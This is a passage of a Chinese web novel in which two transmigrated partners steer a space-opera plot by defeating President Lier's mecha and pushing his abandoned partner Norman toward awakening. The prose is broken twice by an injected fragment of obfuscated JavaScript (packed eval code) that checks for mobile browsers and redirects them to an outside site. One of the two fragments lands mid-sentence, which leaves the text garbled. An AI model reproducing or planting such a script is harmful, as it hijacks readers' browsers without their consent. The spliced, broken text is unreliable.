在屏幕的另一侧,宁静而旷远的墨蓝色星空下,两对小别胜新婚的爱侣都进入了梦乡: 诺尔曼将自己的伴侣牢牢地锁在怀中,像是狮子看守他至爱的珍宝; 克兰德仍处于兴奋之中无法入眠,他坐在床头,温柔凝望着熟睡的爱人。 而他们不知道的是,就在明天—— 两个异乡人的到来,将彻底改变他们的命运。 4. 联邦线:轻松的任务 除了飞来飞去的悬浮车,随处可见的机械装置,这座书中的联邦首都和应柏桥秦铮所在的世界几乎没什么两样。 建筑物林立,高耸入云。街道上,人们来来往往为了生计而奔波。 甚至由于和虫族的战争刚刚结束,人们的脸上都带着麻木甚至是灰败的神情。 即使他们的政府告诉他们,联邦赢下了这场战争,虫族滚回了自己的老家,对他们的生活又有什么影响呢? 战争让太多人死去,而活着的人必须擦干眼泪,咬着牙接受战后重建的考验。 应柏桥站在街头一角,望着拥挤的人流,若有所思。 系统告知二人,在诺尔曼从“舔狗”人设中自我觉醒前,他们不能主动向诺尔曼揭露,这里其实是小说世界,而他只是被操纵的人偶。 这会导致整个小说世界立刻崩塌摧毁。 秦铮将机械球上的任务须知又看了一遍,又打开了《在星河中沉眠》的结尾段落。 彼时,星云联邦和罗斯帝国已经合并为星河联邦,而里尔担任联邦的首任总统,诺尔曼则是副总统,负责在总统分身乏术时,代替他处理各项事务。 而根据联邦今天的新闻,秦铮抬眼看向身后早餐店门口挂着的简易投屏:屏幕里,年轻的副总统登上了星河舰。 诺尔曼微笑着朝镜头前的观众们挥手致意。白色的礼服上,联邦荣誉勋章显得格外闪耀。 看起来,已经是彻头彻尾的联邦人了。 秦铮盯着电视机屏幕,喃喃地嘀咕了一句。 作为罗斯帝国前任皇帝的生涯,似乎已经被他抛之脑后。 不过,真有这么容易忘记吗?秦铮不动声色地在心里记了一笔。 “秦铮,可以借用下系统吗?我想查个东西。”应柏桥的声音打断了秦铮的思绪。 在出发前,两个人交换了彼此的真名。 秦铮将机械球递给了应柏桥。因为机械玩具在这个世界比较常见,因此没有路人对这个会投影的小球感到奇怪。 秦铮把系统交给应柏桥后,本想继续看新闻,收集情报,但思绪却忍不住往身边人的方向跑。 在来到星河联邦后,应柏桥就在秦铮的解说下,以原文为依据了解了故事的大体脉络和主要人物。 现在突然提出翻看原文,是发现了什么吗? 秦铮强忍着好奇心,坚持看了三分钟的新闻,直到诺尔曼相关的新闻报道结束,他才不着痕迹地收回目光,往应柏桥的方向挪了挪。 对方比自己高个几厘米,借助身高差的优势,秦铮悄悄地瞄了眼投影的内容: 是里尔相关的。 里尔是诺尔曼的伴侣,也是让诺尔曼觉醒的关键。 秦铮刚刚看完原文,对这位“暴力狂训狗大师”相关的情节熟烂于心。 他想要顺着应柏桥的思路去寻找线索。 于是干脆两腿一迈,就要往前走——然后被一只手轻轻勾住了风衣领口。 “你要到哪去?”应柏桥找到了自己想要的东西,正要跟秦铮分享,就看到他直愣愣地往别处走。 “分头行动也要告诉我一声,好吗?”像是抓小动物那样,应柏桥修长温凉的手指转而捏了捏秦铮的后颈,亲昵中透着无奈。 秦铮僵硬在原地,被应柏桥碰到的地方一阵酥麻。但他并不讨厌。 “我想去宣传摊位拿一张传单。”秦铮乖乖解释道。 他指向早餐店一旁的简易摊位,上面挂着数十张里尔的超清大头海报。看样子,是政府的政策宣传摊位。 “你不是在看里尔相关的内容吗,我也想找点线索。”秦铮看向应柏桥的眼睛泛着单纯而无害的光泽。 应柏桥顿了顿,他这才意识到自己的动作似乎不太对。怎么能把刚认识的搭档当小猫小狗对待。 他立刻收回了手,轻咳一声:“抱歉,是我着急了。” 但是,秦铮纯良的琥珀色眼睛实在让他内心的恶趣味隐隐作痒。 他强行按捺下内心的捉弄心思,一本正经地叮嘱秦铮:“我们是一个团队,单独行动要提前告知。” 秦铮点点头,在应柏桥的目光中,快速地取了一份传单回来。 让人没想到的是,这份传单和应柏桥确认的信息,真让他们找到了联邦线的矫正思路。 “涓滴计划?”两人为了方便整理信息,干脆坐进了路边的早点铺。 “通过扶持一批条件稍好的人和地区,增加富人的致富途径,从而将他们手中的就业渠道和利润漏一部分给普通民众。”就像是捧起一汪水后,从指缝漏出的水流。这个方式,在古地球缓解经济危机时,成效显著。 按道理来说,星河联邦战后经济萧条,供给严重匮乏的情况,也能适用。 “但是,联邦偏偏还要和虫族制衡。”应柏桥嘴角勾了勾,这项任务,似乎比自己想象中要轻松啊。 “高税收?”秦铮看向传单的另一角,抬头问道。 “没错,这项计划在过去之所以起效,还有个关键原因,是政府大幅度的减税。这能提高人民和生产厂商的劳动和致富积极性。”应柏桥向秦铮投去赞许的眼神。 “但现在面对虫族的先进武器威胁,至少落后一代的联邦,无论如何也不能减少军费开支。” “因此,”应柏桥点了点秦铮左手边的内容,“这已经是他们战后第三次加税了。” “然而,按照书中的描述,里尔似乎并没有革除那批吃得满嘴流油的军部长官们,”应柏桥露出了讥讽的微笑,“毕竟,是自己的好战友好同僚么。” “这批军费到底有多少真正用在了技术研发上,还真不好说。”他愉快地敲了敲桌面,正要继续往下说,却看到秦铮露出了思索的表情。 “怎么了?”应柏桥伸出手,在秦铮面前晃了晃。 “官僚腐败,经济体制不合理……这个吐槽角度我还没有想过。”秦铮微微皱起了眉。 旋即,他抬头看向应柏桥,认真地请求道:“这个思路可以授权给我做视频吗?我可以在视频里标明出处。” “你——”应柏桥愣了一下,不禁失笑。 秦铮疑惑地看着面前的青年,他并不觉得自己的请求有任何可笑之处。 “哈哈,”应柏桥尽力忍住笑意,在笑声的间隔中仓促解释道,“不是在笑你,秦铮。” 只是觉得有点可爱罢了。 “授权的话,当然可以。”应柏桥止住了笑,回答面前的银发青年。 见秦铮没什么反应,他担心秦铮误会,再次重申道:“刚才真的不是在笑你,你认可我的思路,是我的荣幸。” 然而,秦铮还是眼睛一眨不眨地望着他。 就在应柏桥真的开始担心秦铮生气了时,对方终于开口了。 “好的,谢谢。” 说罢,秦铮将手指挪到了刚才应柏桥指过的地方,学着他的模样,轻轻点了点:“我们继续刚才的话题。” 就……这样? 应柏桥盯着秦铮那个银白色的发旋看了半天,对方突然转变成了公事公办的样子,让他有些措手不及。 “咳,那好,我继续说了。” 应柏桥再次开始专心讲解。 他没有注意到的是,秦铮刚才点过传单的手指,慢慢蜷缩了起来。 这还是他第一次见到应柏桥大笑。 向来温和得体的青年,笑起来的时候竟然意外地好看。 阳光穿过小店照进了他的眼睛里,那双弯起的眼眸,如同鎏金一般,给原本柔软如蜂蜜的颜色镀上了一层金银交融的色泽。 秦铮感到自己向来平稳的心跳紊乱了一下,心跳也漏了一拍。 可能是太久没有见过活人了吧,他胡乱抓住一个答案往空缺里塞。 看来回去之后,还是 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“他是皇帝。” 秦铮陷入了自己的思考中,嘴上不断输出:“刚才我看到新闻时就在想,诺尔曼作为罗斯帝国的前任皇帝,他真的有那么容易忘记这个身份吗?” 作为通读全文的人,秦铮能轻松地给诺尔曼绘制人物画像: 从小在冷宫长大却天赋异禀的皇子,在兄弟间的皇位厮杀中突出重围,十七岁就成为了罗斯帝国的皇帝。 然而帝国的腐败和枯朽不是他一人能够扭转的。仅在位三年,就因改革过于激进,削减俸禄用于福利设施建设,将大量贪腐人士送上断头台,而被旧贵族和朝中重臣联手夺权,惨遭流放。 遇见里尔时,他已经在联邦贫民窟建立了一支属于自己的军队,集齐了一批资质尚可的人才。 但爱上里尔后,他的军队名义上属于他,实质上却听从里尔号令;他的下属,甚至会背着他对里尔大献殷勤。 曾经东山再起的理想,成了一摊早已坍塌的废墟。 他,真的甘心吗? 秦铮不相信,一个不惜被大臣针对也要推行福利改革的皇帝,会这样放弃自己的信念,为了爱情蒙蔽自己的双眼,就这样看着民众陷于水深火热之中。 当联邦这座大厦崩塌的那天,副总统阁下听见百姓的嚎哭时,真的能继续无条件支持里尔吗? 他想到这里,眼神愈发清明,如同澄亮的琉璃。 他正要跟应柏桥说自己的结论,面前就递过来一只拳头—— “祝贺我们心有灵犀。”应柏桥轻快地说,将拳头往秦铮面前送了送。 秦铮嘴角也翘起一个小小的弧度,像应柏桥在系统空间教他的那样,碰了碰他的拳。 虽然一触即分,但双方都感觉对方的体温留在皮肤表面,久久没有散去。 “虽说这个任务什么不干就能达成,但我们还是象征性地做点什么吧。” 应柏桥唤出了系统。 “联邦线的指定外援,现在可以给我们了。” 总统府邸,诺尔曼的生物钟很早便唤醒了他。 他温柔地亲了亲怀里累了一晚的爱人,然后轻声说了句:“昨晚辛苦了。” “哐当——”诺尔曼便被里尔毫不留情地从床上踹了下来,胳膊撞在了床头柜上,留下一片青紫的印记。 诺尔曼却丝毫不恼,爬起来温声哄着恋人,就好像刚才的那一脚只是伴侣间的调情。 里尔则烦躁地用被子捂住了耳朵,闷闷地说了句:“快滚。” 烦死了。 两个小时后,侍从惊慌地敲门声再次把里尔从美梦中惊醒。 但他还没来得及发脾气,就听见门外的人大喊: “总统阁下,发生暴动了!” 5. 联邦线:任务对象诺尔曼 “什么?!”里尔猛地从床上坐了起来,出于总统的体面,他没有立刻冲出去询问。 “是首都市郊的一个小镇,但他们私藏了一批军备,已经要打到首都大门了!” 里尔瞬间乱了阵脚,他朝着门外大吼:“召集内阁开会,把消息传给诺尔曼副总统!” “可……可是,副总统正在和虫族的元帅开会……”侍从被吓得哆哆嗦嗦,唯唯诺诺地回复。 “啧。”里尔发出了不耐烦的声音。 “让他尽快结束会议,然后立刻赶往前线支援。” “贸然结束会议,这就是你们人类的礼仪?” 星舰上,克兰德和诺尔曼相对而立,克兰德那双无机质的金色眼睛冰冷地注视着中途离席的副总统。 “你们人类,是想耍我们虫族吗?” 他的声音低沉,犹如暴风雨前的惊雷,让在场的双方军官无不感到胆战心惊。 而暴风雨最中心的,就是那位即使道歉,也保持微笑的人类官员了。 “对此,我方表示由衷的歉意。但国内发生暴乱,我必须回去支援总统。” 克兰德注视着他那张永远保持微笑,宛若假人一般的精致面皮。 嘴上说着抱歉,实则眼里的微笑全然是挑衅吧。 克兰德猛地抬手—— “啪”地一声,他那可以迸发出击碎墙壁力道的手腕,被这个看上去若不经风的文弱官员轻松钳制住。 对方眨了眨自己纤长秀美的眼睫,手上的力道却丝毫没松。 “元帅大人,表达愤怒也不要动用武力吧。” 克兰德用看死人的眼神盯着“楚楚可怜”的美人副总统。随后,狠狠甩开了他的手。 诺尔曼也顺势松开了力道。 “本来,我们可以对此补偿的,但元帅大人若是袭击我方官员。那这补偿可就不好说了。” 他不等克兰德回答,就恢复了笑意,向着雌虫突然迈了一步。 两个人的距离被骤然拉近。 诺尔曼微微俯身在克兰德耳边低语:“元帅大人,不要敬酒不吃吃罚酒。” 克兰德的身体瞬间寒毛倒竖—— 对方在用刚才抑制了自己的精神力向他施压! 克兰德毫不犹豫地用精神力还击了回去。 金发的元帅和黑发的副总统,在手下面前暗自较着劲。 几次交锋后,两人都冷静了下来,将精神力收了回去。 “我真想杀了你。”克兰德如刀刃般冰冷的薄唇里,缓缓吐出了一句话。 “那可真不巧,你还不能杀我。”诺尔曼举起了自己的光脑,露出了真正的,挑衅般的笑容。 “为了方便之后的沟通,我想,还是加个联系方式吧。” “元帅大人。” “滚!” “滚开!” 里尔一把推开结结巴巴的传令兵,抓起战报看了起来。 “什么叫还没拦下来?首都自卫队去哪了,怎么就这么点人在防守?” 他如同一只破防的雄狮,抓到人就乱咬,冲着防卫处处长质问。 “之前您批准的啊……让贵族们借走了一批自卫军,您说是为了赚取军费。” 防卫处处长腿都要软了,壮着胆子辩解。他觉得自己的职业生涯不保。 里尔气得差点把后槽牙咬碎了,但只能吃下这个哑巴亏。 看来,只能狠一狠心了! 他大手一挥,让下属拿来了自己的战袍,准备好自己的专属机甲。 那台机甲是诺尔曼送给他的生日礼物,他当时央求了很久,诺尔曼才批了军费,给他重金打造的。 配备了帝国最精锐的战斗机械,可以说是最强的战斗型机甲。 “我亲自去会一会那群不自量力的混蛋!”里尔自信满满地上了驾驶座。 这台名为黑金的机甲,在制造时,预估杀伤力可以毁灭一座大型城市。 对付一个小镇的叛乱分子,还不是大炮打蚊子? “总统阁下,请让我带着我的小队一起!”国防部部长,和里尔一起白手起家的战友,乔治森主动请缨。 “好,有你在,我们一定能轻松碾死他们!”里尔欣赏地拍了拍好友的肩膀。 就在总统准备出发时,一旁的下属突然匆匆忙忙赶来,询问道: “阁下,副总统传信回来,他已经准备返航,是否需要按照原计划赶往前线战场?” 里尔一皱眉,自己好不容易能出来耍个威风,诺尔曼来了肯定又要管这管那,还有什么意思? 他有点后悔那么早把诺尔曼喊回来了。 “不用了,让他回国会待命,没有我的命令不得上战场。” 说罢,里尔头也不回地带着乔治森的亲兵团,驾驶机甲离开了。 没成想,这正好中了应柏桥和秦铮的下怀。 在离战场不远的小山坡上,应柏桥正站在高处,用望远镜观察着战场动向。 和他想的一样,刚愎自用的里尔肯定会亲自出马,届时诺尔曼一定也会赶来。 诺尔曼向来不允许里尔涉险,两人一定会吵起来。 不过……他眯了眯眼睛,看机甲的标志,除了传说中的黑金,似乎还有一小批军队? 看上去,是里尔的好友乔治森的亲兵。 事情变得更有意思了啊……应柏桥想到小说原文,不禁微笑了起来。 他记得秦铮在吐槽视频里列过数据。 里尔曾经3次为了同伴丢下诺尔曼自生自灭。 其中,有一次就是为了这个乔治森。 他轻笑了一声。 坐在他腿边,专心操作面板的秦铮忍不住抬眼看向了他。 应柏桥注意到他的视线,解释道:“里尔和他的好友乔治森来了。” “有信心干掉他们吗?” “尽量留个活口。”秦铮又低下头,专心操纵无人军团作战。 这个无人军团和所谓的“市郊小镇”,就是他们找系统要的外援———— 一个凭空出现的无人战队建造基地。 基地的生产线全部靠机械和人为面板操作,生产的无人装甲采用的也是联邦最先进的技术。 而且系统承诺,整条生产线都被完全隐藏,只会留下一个“小镇”的表象,因此也不用担心产线被破坏。 同时,感到幸运的是,他们中正好有一个擅长策略类游戏的人。 应柏桥看了眼游刃有余输入指令的秦铮。 他头上的银色呆毛高高翘起,让人很想薅一下。 最初他提出这个思路时,还对实操产生过担忧。现在来看,倒是杞人忧天了。 能遇到这么个能跟上自己脑回路,同时还多才多艺的搭档,真是幸运。 应柏桥真情实感地抿唇一笑。 他再次举起望远镜看向远处,此时战局已经进入了白热化阶段。 秦铮很擅长宏观操控,也擅长精密分析。 他紧盯着屏幕,眼睛一行行扫过无人机发来的黑金数据。 早在原作的番外篇,这台机甲的弱点他就已经猜到了,现在不过是确认自己的想法罢了。 所谓的最强攻击型机甲,防御设施其实很差。 他面无表情地在键盘上快速输入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171787|196838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一行指令。 点击发送。 出于保护总统的目的,里尔的机甲飞在靠后的位置。 因此当他赶到战场时,乔治森的军队被大量的无人装甲强行分散开来,打得难分胜负了。 “可恶,让你们这些杂种尝尝黑金的厉害!”里尔操控机甲重重地落在地上,发出一声怒吼。 他狠狠下达指令,发射巨型冲击波———— 轰隆————里尔懵了一下,他第一反应是冲击波发送成功了。 但是,这来自黑金自身的剧烈晃动是怎么回事? 他想要看看这一击的威力,却发现监控外部的屏幕已经黑屏,什么都看不到。 这也意味着,他不能胡乱进攻了,不然,按照黑金的威力,很可能会连着友军一起击杀! 正当里尔摸不着头脑,手足无措时,又一阵晃动传来。 里尔意识到不对劲,正准备起飞升空,却发现飞行推进器也无法启动了。 “该死!什么破机甲!”他狠狠一锤面板,全然忘记是自己当初要求去掉防御设备,全部换成武器的。 与此同时,“滴——滴——”的警告声响了起来,闪烁的红色警告灯让里尔心里更慌了。 “机甲核心枢纽已被破坏,请尽快弹出驾驶室!” “什么?!” 面对高攻击机甲,最好的办法就是速杀。 秦铮操纵着一窝蜂涌上黑金的小型机器狗快速撤退,继续纠缠乔治森的精英部队。 屏幕上,倾尽联邦之力打造的黑金孤零零倒在空地上,连个援护的人都没有。 应柏桥从望远镜里也看到了这一幕,情不自禁地笑出了声。 看到秦铮暂时放下了总控板,他总算可以满足一下自己的恶趣味了。 轻轻扯了扯那根翘起的呆毛。 因为手法太轻,它的主人几乎没有察觉。 呆毛被骤然拉直,又松开,不解地晃了两下。 应柏桥觉得有趣,忍不住再次上手。 却反过来被一只微凉的手握住了。力道很柔和,完全没有被冒犯的气恼。 “你在做什么?”秦铮的眼神中有些疑惑。 应柏桥隐藏起眼神中,被抓住手腕瞬间的悸动,不着痕迹地抽回了手。 “没什么,”他摇了摇头。 “只是觉得,铮铮怎么这么厉害啊。”他蜜糖似的眼睛,被柔和的日光浸染。 秦铮呼吸一窒。 不过,相较于这二人的轻松悠闲,里尔那边可就不好过了。 “快去援救总统阁下!”和无人装甲打得不可开交的乔治森用余光瞥见了倒下的黑金,瞳孔一缩。 他赶忙下令让两名下属甩开敌人,送里尔到安全的地方去。 可是,应柏桥怎么会让他们如愿呢? 他要的,就是把里尔留在战场上,直到诺尔曼前来。 而秦铮也完美执行了他的构想。 只见两台机甲刚刚扶起黑金,就被难缠的机械狗团团围住,根本无法移动。 里尔几乎快要疯了,明明想风光地打败这群反叛军,顺带立一下总统的威信,结果! 被一群机械狗打垮了最强战甲黑金不说,还倒在这里只能等人救援。 救援还没法把他救走! 身为总统的脸面简直就要丢尽了! 正当他即将破口大骂之际———— 光脑里传来了一阵清脆的铃声。 “他来了。” 伴随着机甲落地的轰隆巨响,应柏桥沉着地说。 “我们的任务对象————诺尔曼·罗斯。” 6. 联邦线:被抛弃的诺尔曼 银白色的机甲轰然落地,带动大地扬起一片尘土。 机甲的主人二话不说,直接略过使用物理武器的做法,释放出数十条精神力触手。 触手如灵敏的蟒蛇一般穿过混乱的战场,直接将黏在里尔和其他两架机甲上的机械狗尽数撕了下来。 只消眨眼的工夫,几十只机械狗就化成了金属碎屑。 这就是星河联邦的S级精神力拥有者————诺尔曼·罗斯的实力。 然而,正当他想要靠近黑金,察看里尔的情况时,却被光脑里的声音喝住了。 “不是说,让你在首都待命,别过来吗!”里尔的声音从光脑传出,带着明显的怒气。 “还有,你这造的是什么机甲,一击就碎!”他抱怨着,责怪诺尔曼害自己出了丑。 银白机甲只停顿了一下,对里尔的怒气置若罔闻,他蹲在黑金身边,平静地开口: “有什么事回去再说。我不是说过,让你不要轻易涉险吗?军部不至于废物到派不出一支空闲的军队吧?” 里尔坐在驾驶室里咬住了嘴唇,他的拳头不自觉攥紧。虽然他嘴上说自己是不忍无辜的士兵受伤,但心里清楚,自己只是想出风头罢了。 毕竟,自从和虫族的战争结束后,联邦的经济就一蹶不振,战时积累起的威信几乎要被消磨殆尽了。 不过,还没等他辩解,诺尔曼就输入了黑金的出舱密钥,用机械手臂将里尔轻轻捧了出来。 乔治森已经将大部分敌军引去了别处,这里的杂兵也被他清理得差不多了,是个相对安全的地方。 里尔爬进了银白机甲的驾驶室,带着一股郁气坐到了诺尔曼身边。 他自觉理亏,本想开口求和,却不成想,诺尔曼的话又把他惹炸毛了。 “我先带你离开这里,首都那边我下令调来了一批机械化部队支援,他们很快就能到。”诺尔曼冷静地安排。 “你疯了!乔治森还在战场上!”里尔一改刚才软蛋的模样,抓住诺尔曼整理得一丝不苟的领口,如暴怒的雄狮般瞪着他。 “我不可能抛弃兄弟自己离开!” 诺尔曼任由他毫无形象地抓着自己,浅粉色的眸子如同浸染了鲜血一般,冷酷而又阴鸷。 “兄弟?那有你的命重要吗?” “嘭——”里尔一拳打在了诺尔曼的脸上。 诺尔曼白皙的脸上,立刻留下了一个明显的红印。 柔软的皮肤慢慢肿胀起来。 里尔毕竟是军人出身,臂力惊人。这一拳由于惊怒,他并没有留手。 诺尔曼感到一股血腥味涌上喉头,他却视若无睹,反而轻笑了一声,低下了头。 鬓边垂落的一缕长发掩饰了他眼里的偏执与疯狂。 里尔在一旁喘着粗气,怒视这个毫无人性的冷血动物。 “给我去救乔治森!”这台银白机甲是他和诺尔曼搭档时最常用的机甲,他快速启动双人模式,试图更改航向。 “我说了,援军马上就到,你非得去救他吗?”诺尔曼死死地按住了他的手,不允许他动弹。 “恐怕你们非得去救乔治森了。”应柏桥的嘴角勾起了反派一般的笑意。 “铮铮,加大对乔治森的攻击力度,诺尔曼看起来想直接带着里尔离开。” 他已经能非常熟练地喊出这个昵称了。 秦铮却还不能熟练接受这个称呼,他耳根红了红,默默在面板上输入了指令。 驾驶室内,诺尔曼和里尔的僵持被对讲机里的求救声打破了。 “里尔,咳咳,”乔治森的声音听上去十分虚弱,“敌人突然加大了进攻力度,我们有些撑不住了!” 里尔立刻推开了诺尔曼,一把抢过他手里的对讲机,急切地询问: “你怎么样了乔治森!援军马上就到!” 诺尔曼的神情阴郁了下来。 这个乔治森,里尔曾经为了他几次放弃自己。 但是,里尔坚称他们只是战友关系,并没有其他感情。 那为什么……为了一个小小的战友几次三番抛下我呢? 诺尔曼将操纵装置攥得咔咔作响。 “我们的机甲几乎都受了重创,敌军现在疯狂向首都方向推进,刚刚我们受到了不明强度冲击波的打击……” 乔治森一边咳嗽一边艰难地描述战况。 然而没过几秒,伴随着一阵刺耳的蜂鸣,对面的信号中断了。 里尔的脑子里嗡的一声炸开了。他几乎不敢想象,自己的兄弟现在身处怎样的水深火热之中。 “乔治森!乔治森!”诺尔曼冲着对讲机那头怒吼着。 他又尝试联络了军团的其他成员,都无法成功。 “明明,他们是为了我而来的……”里尔眼里的愧疚几乎无法遮掩,他又一次颓丧了下来。 而这一切,被诺尔曼看在了眼里。 他眼底的疯狂因为对方的难过而缓慢退去。 钳住里尔的动作变为了温柔的抚摸。 “这不是你的过错,援军马上就到,他们会没事的。” “不,这就是我的错。”里尔六神无主地喃喃道,眼中尽是慌乱和不安。 突然,他像是想到了什么似的,猛地抓住了诺尔曼的肩膀。 诺尔曼下意识眉头一皱。 “现在只有你能救他们了!援军至少还要十分钟才能赶到,我不能看着他们再受折磨!” 里尔猛地靠近了诺尔曼,他因为找到了突破口而惊喜不已。 “你是S级精神力的拥有者,即使没有机甲也能打过半个军队!你一定能救他们!” 然而,诺尔曼的表情却如湖水般平静。 里尔有些慌了神,他加重力道,使劲晃动着诺尔曼的肩膀,试图唤醒他的良知。 “你是联邦的副总统,即使你讨厌乔治森他们,也不该见死不救!” 提到“讨厌”这个话题,诺尔曼总算有了反应。 “我……”他张了张口,想要辩解,但想了想还是叹了口气。 “好,那我们走吧,就像以前那样。” “嗯!”里尔兴奋地放开了诺尔曼,快速地操控机甲飞向了友军。 “我们也很久没合作了呢,想当年,我们可是联邦最强的机甲组合!” 里尔心愿达成,眉宇间又神采飞扬起来。 诺尔曼看着他的笑颜,也轻笑了一下。只要能看到里尔快乐,让他做什么都行。 只是,早晨肩膀上的淤青,刚刚正好被里尔狠狠捏住,现在隐隐作痛。 诺尔曼强行让自己忘掉这点小伤,专心配合里尔来到了主战场。 乔治森的伤比他们想象中还要严重,他几乎无法动弹了。 里尔目眦尽裂,几乎要直接冲出舱门。 诺尔曼原本还有些吃醋,看到乔治森的伤势后,也不由得动容了。 但下一秒,里尔的话让他如坠冰窟。 “你守在原地。这些兄弟们,还有乔治森都坚持不了了。”里尔急切地看着他,快速说道。 “你得把位置让出来,我要带乔治森回去接受治疗。他的机甲已经没法用了,精神力也不如你。你即使没有机甲保护,也可以用精神力组成屏障,一般的武器无法伤到你。” 他,又一次被抛弃了。 在漫天黄沙之中,诺尔曼孤零零的站在原地,看着那台银白色机甲搭载着里尔和乔治森远去。 即使有精神力屏障,他顺滑光亮的长发还是不免沾染上了粗糙的沙砾,光鲜的绸缎变为了无人在意的粗布。 S级精神力骤然爆发出来,激荡起一层又一层的沙浪,以诺尔曼为中心,形成了一股可怕的沙尘暴。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171788|196838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应柏桥和秦铮所在的小山坡也被波及,一阵狂风裹着尖锐的沙石袭来—— 应柏桥将秦铮护在了身下,秦铮下意识抱住了他的后脑勺,以免被石块划伤。 大风刮过,确认没事后,应柏桥才缓缓松开了怀里的人。 秦铮率先睁开眼睛,看向了面前的人,琥珀色的瞳孔颤了颤。 应柏桥那双惯会撒娇卖乖的眼睛下方,被石子划出了一道血口。 殷红的鲜血从伤口渗出,配合着无辜的下垂眼角,竟有种让人生怜的味道。 然而,还没等应柏桥说什么,秦铮的手指就颤抖着抚上了他的伤口。 这下轮到应柏桥呼吸一窒了。 修长柔软的手指像是小动物一般,小心翼翼地,珍惜地碰在他的伤口边缘。 “对不起。”秦铮低低地开口。 “不是你的错,毕竟我站得离风沙更近,说起来,还是我的预判失误。” 秦铮却固执地摇摇头,紧紧盯住那个小小的伤口。 应柏桥被他摸得有点痒,下意识想要扭头避开,却被秦铮掰了回来。 “你的伤口需要赶快消毒。”秦铮坚定地说道。 两个人的距离实在有些暧昧,应柏桥不自在地抓上秦铮的手腕,试图拉开二人的距离。 下一秒,却猛地僵住了。 温柔而又湿润的触感从眼睑处传来。 灼热而又轻柔的吐息撩拨过他的面颊。 秦铮在舔舐他的伤口,舌尖的碰触让他从头部到脚趾一阵发麻。 小动物一样的手指碰触,变成了小动物一般的柔软舔舐。 “铮铮!你在做什么!”他推了推秦铮的肩膀,但又怕伤了对方的感情,不敢强行推开。 两人鼻尖对着鼻尖,这个距离,几乎要亲上了…… 应柏桥感到对方的动作突然顿住。 两人四目相对,皆在彼此眼中看到了错愕。 秦铮立刻松开应柏桥的脸颊,和他拉回了正常的距离,吐出伤口边缘的杂质。 两人一时无言,撇开了头,不敢注视彼此。 半晌,秦铮才故作平淡地开口解释道:“人的唾液可以消毒。” 然后被应柏桥狠狠揉了揉脑袋。 应柏桥总算拿回了主导权,耳朵还泛着红:“你怎么知道这些沙土是什么成分,万一你也感染上病毒怎么办?” 他状似轻描淡写:“下次不要再这样做了,至少,做之前要提前说一声。” 秦铮也不反驳,乖乖地低着脑袋应了一声。 然而,看似在反思的秦铮,此时却和应柏桥一样心跳不已。 “我可能真的需要多出去走走了。”秦铮强装淡定。 “看到应柏桥受伤的瞬间,我的大脑一片空白,几乎是失去控制般做出了之后的举动。为什么?” 两个人都心怀鬼胎,连话都少了许多。 但任务还要继续。秦铮让无人军团佯装战败,不要伤害到诺尔曼。 看着诺尔曼跟着接应的军队离开,应柏桥和秦铮也使用空间穿梭来到了虫族最繁华的都城——哈洛特市。 这里汇聚了整个哈洛特王国的政治,经济和军事精英,当然,也包括原作中的两位主角:乔瓦尼陛下和克兰德元帅。 不过,让应柏桥更感兴趣的,是这个地方的另一个特色:新兴的影视城。 拿着用稀有金属零配件在黑市换来的钱,两个人住进了哈洛特城最豪华的酒店。 虫族的这本原作,是《重生之我在虫族拍纯爱短剧》。 应柏桥盯着玄关门口,几乎有自己半个人高的用黄金雕刻边框的水晶化妆镜。 眼角的伤口已经开始愈合了,但疤痕依然明显。 他若有所思地对一旁休息的秦铮说道: “我们要不也去拍短剧?” 7. 虫族线:演短剧 “你疯了,诺尔曼!快放开里尔!” 诺尔曼狠狠将里尔推到墙边,眼神赤红,头发披散。 如同地狱中爬出来的恶灵,人不像人,鬼不像鬼。 医院里,半天前刚刚分开的爱侣,正在进行激烈的争吵。 柔软的泡沫墙体替里尔承担了大部分的冲击,因此,他并没有感到疼痛。 本该因重伤躺在床上的乔治森,此刻冲上来,试图掰开诺尔曼钳住里尔肩膀的双手。 然而,诺尔曼对他的话语充耳不闻,只是盯着里尔,一字一句地质问道: “你就是为了他,把我扔在原地?” “为什么又是他!这已经是第二次了。”他的声音里带上了些微的颤抖。 但是无人注意到。 “放开我,你这个疯子!”里尔一拳打在了诺尔曼的下颌骨上,这一拳毫不留手。 诺尔曼被迫放开了他。 又是一脚毫不留情地踢在了他的腹部。 精神力消耗了大半的诺尔曼无力支撑自己的身体,一个踉跄向后倒在了地上。 头部撞击在护理床的金属边缘,诺尔曼像是察觉不到痛感一样,执拗地抬头盯着里尔。 “你到底在斤斤计较什么!乔治森是我的战友,也是你的战友!他当时都快死了,你难道让我袖手旁观吗?” “可是……我是你的爱人。”诺尔曼轻声反驳,眼眶狰狞几乎要流下血泪。 “你太冷血了,诺尔曼。”里尔失望地看了他一会。 “你所谓的爱,只是对我的占有欲罢了。你还没有从封建帝王的身份中走出来吗?” 诺尔曼怔住了,他的嘴唇颤抖了两下,才开口: “我对你,还不算爱吗?” “我已经献上了罗斯帝国的冠冕,你却还要怀疑我的忠诚吗?” 里尔摇了摇头,看着这个失魂落魄的人,语气放软了些: “不,我并不怀疑。否则我为什么这么爱你。” “因为我知道,诺尔曼你还可以做到更好,爱我,同时爱这个联邦的子民。” “别让我失望,好吗?”好话已经说完,里尔转身离去。 在病房门口,他又顿住脚步,转头于心不忍道:“用治疗仪收拾下你自己吧,你现在完全没有副总统的样子。” 说罢,便离开了房间。 